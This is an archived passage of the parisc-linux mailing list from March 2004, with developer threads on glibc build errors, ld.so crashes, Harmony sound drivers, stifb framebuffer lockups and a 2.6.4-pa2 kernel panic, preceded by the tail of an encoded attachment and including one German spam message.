nZHIrZ8VgVkvr2AizbCg4eW6BSu5gFHQxJDqBOGA+Q+f/Zznn7uEexA+wVyO2Cr8Hbfsdqn0
zMevKWXedwaxzIK4ePX0yfyx6qt04VQVGrDrogcHAD+C+p/kCWvjHgocgMAKFAYBdAdSHctz
LWhyQAUGDwlkIgUQDdEMBHByOHp6zHVnxyZ0Hgk2DAv6oIQ6NUffuRVrkJxDZVOvddgAokS+
iYj1r3eohZxCJZmwEDC/tYqN5Sqp4ttFfYvJEYyCf6oimtYSnxr0hBXz69Wu/iOYg/r17e3k
vLrVuvNQ19vTlVrnxI0f7f6kBuMgheCw5vQ68BtiziuLVDYiJK5V7ecuv95FFhIRfFgADxQc
DQ8WBHMQZ/JgrLamxvqbq3wHMB1XfqCEUmRAU0NdREhXAHFMPkFEMEExOTIsNM3I6m0Ay7q+
2s+2zMQG38HArq8a3usxAN+iopi4qoyx49W9o7y8rrZG9PWcppWuqVHoifzvd5357UGO9T8e
qKrd1Mr1ZejKCyG11hDTeMJ/ya4FGVEXaCQaA2QJr3Cn0zZaAAD9ZRJRUk+Q7jUKwwsWwTxD
GJAGVZFKQxB5ZgVqBHlBgii1gu1PizACRRB2Xamxqn3AP/5hQcwScRIxNfE7xGU1yCAyigsm
nQSDIIqydwsgfLJxCyBGslsLML/kv9O+TTxTgWZutKBxmg2EUmbJjois48bT+XgcjqZ1tJ0/
sdjqX2MUyXWmLE6acGlHkqwtTVSMO2Nj3MkmplwvmhxpMKYsXJnUfiRl0/xNbsQ08MlwfSz7
fz49BPhyFfXx9qQMSPiIZRqfZ8XE3TF6BMh1doIETVQqNQGEvUIJFEfBeRRsFn547B1OZY/x
xFE54uglgybqlwj1svdOgrfzuO0VD956k8kDfS4OFv14//p9CPtKxSwqAtjS1+j+RTV9MoAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


------=_NextPart_000_0013_00003882.000060FD--



--BFAD3414D68.1079165776/mx1.tiscalicontact.com--


From - Thu Nov 08 21:31:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 	RE: New glibc patches 2004-03-08, fixes GLRO
	changes.
Date: Sat, 13 Mar 2004 18:59:22 +0000
Lines: 47
Approved: news@gmane.org
Message-ID: <40535A0A.4020209@tiscali.be>
References: <20040312164116.GI24266@baldric.uwo.ca>
	<404EC1C600002B98@ocpmta1.freegates.net>
	<20040312212012.GS24266@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623262 6522 80.91.229.3 (22 Nov 2014 02:27:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Sat Mar 13 11:58:04 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo4.tiscali.be (spoolo4.tiscali.be [62.235.13.170])
	by dsl2.external.hp.com (Postfix) with ESMTP id 46817487E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Mar 2004 11:58:04 -0700 (MST)
Original-Received: from [62.235.122.85] (port=32796 helo=tiscali.be)
	by spoolo4.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1B2EKh-0005mx-4K; Sat, 13 Mar 2004 19:58:03 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040122 Debian/1.6-1
X-Accept-Language: en
In-Reply-To: <20040312212012.GS24266@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 13 Mar 2004 18:58:04 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21059



Carlos O'Donell wrote:
> On Fri, Mar 12, 2004 at 06:33:11PM +0100, Joel Soete wrote:
> 
>>Hmmm all output files realted to Error1 was empty because of:
>>hppa-linux-gcc -nostdlib -nostartfiles -o /Develop/parisc-linux/build/glibc/posix/tst-regex
>> -Wl,-dynamic-linker=/lib/ld.so.1
>>/Develop/parisc-linux/build/glibc/csu/crt1.o /Develop/parisc-linux/build/glibc/csu/crti.o
>>`hppa-linux-gcc --print-file-name=crtbegin.o` /Develop/parisc-linux/build/glibc/posix/tst-regex.o
>>/Develop/parisc-linux/build/glibc/rt/librt.so  -Wl,-rpath-link=/Develop/parisc-linux/build/glibc:/Develop/parisc-linux/build/glibc/math:/Develop/parisc-linux/build/glibc/elf:/Develop/parisc-linux/build/glibc/dlfcn:/Develop/parisc-linux/build/glibc/nss:
>>/Develop/parisc-linux/build/glibc/nis:/Develop/parisc-linux/build/glibc/rt:/Develop/parisc-linux/build/glibc/resolv:/Develop/parisc-linux/build/glibc/crypt:/Develop/parisc-linux/build/glibc/linuxthreads
>>/Develop/parisc-linux/build/glibc/libc.so.6 /Develop/parisc-linux/build/glibc/libc_nonshared.a
>>-lgcc `hppa-linux-gcc --print-file-name=crtend.o` /Develop/parisc-linux/build/glibc/csu/crtn.o
>>/Develop/parisc-linux/build/glibc/rt/librt.so: undefined reference to `pthread_create'
>>/Develop/parisc-linux/build/glibc/rt/librt.so: undefined reference to `_pthread_cleanup_pop'
>>/Develop/parisc-linux/build/glibc/rt/librt.so: undefined reference to `pthread_once'
>>/Develop/parisc-linux/build/glibc/rt/librt.so: undefined reference to `_pthread_cleanup_push'
>>/Develop/parisc-linux/build/glibc/rt/librt.so: undefined reference to `pthread_atfork'
>>collect2: ld returned 1 exit status
>>make[2]: *** [/Develop/parisc-linux/build/glibc/posix/tst-regex] Error 1
> 
> 
> Are you sure you thread library was built correctly?
oops, I need more check on Monday (sorry) (btw I forget to transmit you my final patch about feupdate

> Do you see those
> symbols in libpthread? All those issues are related to libpthread being
> broken somehow.
>  
> 
>>make[2]: *** [/Develop/parisc-linux/build/glibc/elf/tst-dlmodcount.out] Error 139
>>do_page_fault() pid=9891 command='ld.so.1' type=15 address=0x401aca28
>>vm_start = 0x40177000, vm_end = 0x4017c000
> 
> 
> Can you run the loader through gdb, and give an assembly dump around the
> address where it crashes?
>
No pb if gdb don't segv (but iirc that only appened with gcc-3.5) and if lucky I could also garb a bt :).

Btw in previous test, I noticed that IAOQ was for instance =0x41007293 when gdb shows me the actual address of the crash at 
'0x41007293 - 3' and I find well the corresponding code at  7290 in an 'objdump -d'. Do you know why this diff of 3?

Sorry for delay, at Monday,
	Joel


From - Thu Nov 08 21:31:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Martin-=C9ric_Racine?= <q-funk-x+5WvRp7yOp+8FyH61/OPw@public.gmane.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] OSS Harmony drivers still missing and ALSA not yet
 working = sound broken
Date: Sat, 13 Mar 2004 22:45:01 +0200 (EET)
Lines: 61
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0403132243210.4150-100000__46244.0072828487$1416623262$gmane$org@hal.pp.fishpool.fi>
References: <Pine.LNX.4.21.0402201213540.1008-100000@hal.pp.fishpool.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416623262 6526 80.91.229.3 (22 Nov 2014 02:27:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:42 +0000 (UTC)
Cc: debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org
To: parisc-linux-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org
Original-X-From: q-funk-x+5WvRp7yOp+8FyH61/OPw@public.gmane.org  Sat Mar 13 13:45:03 2004
Return-Path: <q-funk-x+5WvRp7yOp+8FyH61/OPw@public.gmane.org>
Delivered-To: parisc-linux-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org
Original-Received: from hal.pp.fishpool.fi (seven.fishpool.fi [195.197.229.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1365B487E
	for <parisc-linux-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org>;
	Sat, 13 Mar 2004 13:45:03 -0700 (MST)
Original-Received: from q-funk (helo=localhost)
	by hal.pp.fishpool.fi with local-esmtp (Exim 3.35 #1 (Debian))
	id 1B2G0D-0001uk-00; Sat, 13 Mar 2004 22:45:01 +0200
In-Reply-To: <Pine.LNX.4.21.0402201213540.1008-100000-4o3fW2yq+lqHldeZ0cibK8c4bpwCjbIv@public.gmane.org>
X-Archive: encrypt
X-BeenThere: parisc-linux-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org>
List-Help: <mailto:parisc-linux-request-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org?subject=subscribe>
X-List-Received-Date: Sat, 13 Mar 2004 20:45:03 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21060

This was the case in 2.6.3 and still is the case.

On Fri, 20 Feb 2004, Martin-=C9ric Racine wrote:

> Now that I notice, the old OSS driver fails to be included, even though i=
t was
> defined in the config:
>=20
> CONFIG_SOUND=3Dm
> CONFIG_SND=3Dm
> CONFIG_SND_SEQUENCER=3Dm
> CONFIG_SND_SEQ_DUMMY=3Dm
> CONFIG_SND_OSSEMUL=3Dy
> CONFIG_SND_MIXER_OSS=3Dm
> CONFIG_SND_PCM_OSS=3Dm
> CONFIG_SND_SEQUENCER_OSS=3Dy
> # CONFIG_SND_VERBOSE_PRINTK is not set
> # CONFIG_SND_DEBUG is not set
> CONFIG_SND_DUMMY=3Dm
> CONFIG_SND_VIRMIDI=3Dm
> # CONFIG_SND_MTPAV is not set
> # CONFIG_SND_SERIAL_U16550 is not set
> # CONFIG_SND_MPU401 is not set
> CONFIG_SND_HARMONY=3Dm
> # CONFIG_SOUND_PRIME is not set
> CONFIG_SOUND_HARMONY=3Dm
>=20
> <root@zarya:/root># tree /lib/modules/2.6.3-pa0/kernel/sound/
> /lib/modules/2.6.3-pa0/kernel/sound/
> |-- core
> |   |-- oss
> |   |   |-- snd-mixer-oss.ko
> |   |   `-- snd-pcm-oss.ko
> |   |-- seq
> |   |   |-- oss
> |   |   |   `-- snd-seq-oss.ko
> |   |   |-- snd-seq-device.ko
> |   |   |-- snd-seq-dummy.ko
> |   |   |-- snd-seq-midi-event.ko
> |   |   |-- snd-seq-virmidi.ko
> |   |   `-- snd-seq.ko
> |   |-- snd-page-alloc.ko
> |   |-- snd-pcm.ko
> |   |-- snd-rawmidi.ko
> |   |-- snd-timer.ko
> |   `-- snd.ko
> |-- drivers
> |   |-- snd-dummy.ko
> |   `-- snd-virmidi.ko
> |-- parisc
> |   `-- snd-harmony.ko
> `-- soundcore.ko
> =20
> 6 directories, 17 files

--=20
Martin-=C9ric Racine, ICT Consultant
http://www.pp.fishpool.fi/~q-funk/




From - Thu Nov 08 21:31:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (no subject)
Date: Sat, 13 Mar 2004 22:51:34 +0100 (CET)
Lines: 18
Approved: news@gmane.org
Message-ID: <45740.127.0.0.1.1079214694.squirrel@www.puszczka.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623262 6529 80.91.229.3 (22 Nov 2014 02:27:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: ajwalker@broadpark.no  Sat Mar 13 14:43:28 2004
Return-Path: <ajwalker@broadpark.no>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5D89C487E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Mar 2004 14:43:28 -0700 (MST)
Original-Received: from tolstoy.puszczka.com (47.80-202-73.nextgentel.com
	[80.202.73.47])
	by mail.broadpark.no (Postfix) with ESMTP id 363A78D79
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Mar 2004 22:43:27 +0100 (MET)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)
	id 5C16782EF; Sat, 13 Mar 2004 22:51:34 +0100 (CET)
Original-Received: from 127.0.0.1 (SquirrelMail authenticated user andy)
	by www.puszczka.com with HTTP; Sat, 13 Mar 2004 22:51:34 +0100 (CET)
User-Agent: SquirrelMail/1.4.2
X-Priority: 3
Importance: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 13 Mar 2004 21:43:28 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21061

My B132L has its console on an HCRX24 GSC card (A4071B_LZ). In 2.4.25-pa1
it defaults to 32bpp and works fine. In 2.6.4-rc1-pa2 (and 2.6.3-pa0)
it now defaults to 8bpp which also works fine. I want to run the card in
32bpp though, but if I try stifb=bpp:32, or hardcoding the equivalent
in stifb.c then the machine locks hard immediately after switching to
the sti console. The screen is full of corrupted junk from the previous
shutdown and I have to hit the power button to boot again.

The HCRX24 is correctly identified in stifb.c as S9000_ID_HCRX and
IS_24_DEVICE(fb) is true. Is anybody using one of these cards in 32bpp?
I see that the code has been shuffled around a fair bit between 2.4.25
and 2.6.x and I'm not exactly sure where to start looking for problems.
Tips?

cheers,
-Andy



From - Thu Nov 08 21:31:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.4-pa2 panic on c110 :(
Date: Sat, 13 Mar 2004 23:23:31 +0000
Lines: 30
Approved: news@gmane.org
Message-ID: <405397F3.1050406@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623263 6534 80.91.229.3 (22 Nov 2014 02:27:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:43 +0000 (UTC)
To: PA-RISC Linux Port <parisc-linux@lists.parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Sat Mar 13 16:22:12 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA099487E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Mar 2004 16:22:11 -0700 (MST)
Original-Received: from [62.235.120.186] (port=33081 helo=tiscali.be)
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1B2ISB-0007cF-1B; Sun, 14 Mar 2004 00:22:03 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040312 Debian/1.6-3
X-Accept-Language: en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 13 Mar 2004 23:22:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21062

Hi all,

I just compile successfully (with defconfig) and seems to boot fine the last 2.6.4-pa2 kernel on my C110.
But as I was starting a rm -rf glibc it panics with console message:
arq->state 2
Badness in as_requeue_request at drivers/block/as-iosched.c:1479
Kernel addresses on the stack:
[<10125de8>] printk+0x188/0x1c8
[<10105938>] dump_stack+0x18/0x24
[<10229688>] as_requeue_request+0x64/0x10c
[<102205b0>] elv_requeue_request+0x2c/0x38
[<102232bc>] blk_insert_request+0xfc/0x104
[<1024cd30>] scsi_queue_insert+0x68/0x9c
[<102491ec>] scsi_softirq+0xfc/0x11c
[<10170560>] sys_select+0x1d0/0x3b8
[<101299c8>] do_softirq+0xf4/0xf8
[<1010c1e4>] syscall_do_softirq+0x8/0x10
[<1010b088>] intr_check_sig+0x0/0xc 


Don't know if it can help but that was the only system on which I always had to apply Grant tips:
<http://lists.parisc-linux.org/pipermail/parisc-linux/2003-October/021244.html>
ie replacing
	static unsigned long ccio_mem_ratio = 4;
by 2 in drivers/parisc/ccio-dma.c

Thanks in advance for help,
	Joel



From - Thu Nov 08 21:31:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.4-pa2 panic on c110 :(
Date: Sun, 14 Mar 2004 01:04:00 +0000
Lines: 33
Approved: news@gmane.org
Message-ID: <20040314010400.GB26705@parcelfarce.linux.theplanet.co.uk>
References: <405397F3.1050406@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623263 6538 80.91.229.3 (22 Nov 2014 02:27:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:43 +0000 (UTC)
Cc: PA-RISC Linux Port <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: willy@www.linux.org.uk  Sat Mar 13 18:04:02 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D24D8487E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Mar 2004 18:04:01 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1B2K2q-00028j-Lp; Sun, 14 Mar 2004 01:04:00 +0000
Content-Disposition: inline
In-Reply-To: <405397F3.1050406@tiscali.be>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Mar 2004 01:04:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21063

On Sat, Mar 13, 2004 at 11:23:31PM +0000, Joel Soete wrote:
> I just compile successfully (with defconfig) and seems to boot fine the 
> last 2.6.4-pa2 kernel on my C110.
> But as I was starting a rm -rf glibc it panics with console message:
> arq->state 2
> Badness in as_requeue_request at drivers/block/as-iosched.c:1479
> Kernel addresses on the stack:
> [<10125de8>] printk+0x188/0x1c8
> [<10105938>] dump_stack+0x18/0x24
> [<10229688>] as_requeue_request+0x64/0x10c
> [<102205b0>] elv_requeue_request+0x2c/0x38
> [<102232bc>] blk_insert_request+0xfc/0x104
> [<1024cd30>] scsi_queue_insert+0x68/0x9c
> [<102491ec>] scsi_softirq+0xfc/0x11c
> [<10170560>] sys_select+0x1d0/0x3b8
> [<101299c8>] do_softirq+0xf4/0xf8
> [<1010c1e4>] syscall_do_softirq+0x8/0x10
> [<1010b088>] intr_check_sig+0x0/0xc 

That's not good.  First, is this reproducable?
Second, can you back down to 2.6.4-pa1 and see if that fixes your problem?

Your C110 uses the lasi710 and zalon drivers, right?  sym2's not involved
at all, is it?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Regestrierung@domain.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Regestrierung
Date: Sun, 14 Mar 2004 04:27:03 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <200403140327.i2E3R3i19766@almacen.cet.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Trace: ger.gmane.org 1416623263 6539 80.91.229.3 (22 Nov 2014 02:27:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:43 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: Regestrierung@domain.at  Sat Mar 13 19:49:29 2004
Return-Path: <Regestrierung@domain.at>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from almacen.cet.at (81-223-165-245.meidling.xdsl-line.inode.at
	[81.223.165.245])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B88B487E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Mar 2004 19:49:28 -0700 (MST)
Original-Received: from martin-bgwuchit (static81-223-147-244.xdsl-line.inode.at
	[81.223.147.244])
	by almacen.cet.at (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) with SMTP id
	i2E3R3i19766 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 04:27:03 +0100
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Mar 2004 02:49:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21064

Herzlichen Glckwunsch !

Ihre Regestrierung auf www.ianta-ki.de war erfolgreich .

Bentzername = Sabine
Passwort = 28142678

Sie knnen sich ab sofort mit den daten unter www.ianta-ki.de einlggen !

Ihr Webmaster@domaine.de



From - Thu Nov 08 21:31:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@infodrom.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Sun, 14 Mar 2004 08:37:06 +0100
Lines: 95
Approved: news@gmane.org
Message-ID: <20040314073706.GA28440@finlandia.infodrom.north.de>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
	<200403091103.29310.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Trace: ger.gmane.org 1416623264 6545 80.91.229.3 (22 Nov 2014 02:27:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: joey@infodrom.org  Sun Mar 14 00:37:11 2004
Return-Path: <joey@infodrom.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from luonnotar.infodrom.org (luonnotar.infodrom.org [195.124.48.78])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90EB548E4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 00:37:10 -0700 (MST)
Original-Received: by luonnotar.infodrom.org (Postfix, from userid 10)
	id C4F33366B68; Sun, 14 Mar 2004 08:36:32 +0100 (CET)
Original-Received: at Infodrom Oldenburg (/\##/\ Smail-3.2.0.102 1998-Aug-2 #2)
	from infodrom.org by finlandia.Infodrom.North.DE via smail from stdin
	id <m1B2QBG-000ok4C@finlandia.Infodrom.North.DE>
	for parisc-linux@lists.parisc-linux.org;
	Sun, 14 Mar 2004 08:37:06 +0100 (CET) 
Content-Disposition: inline
In-Reply-To: <200403091103.29310.deller@gmx.de>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
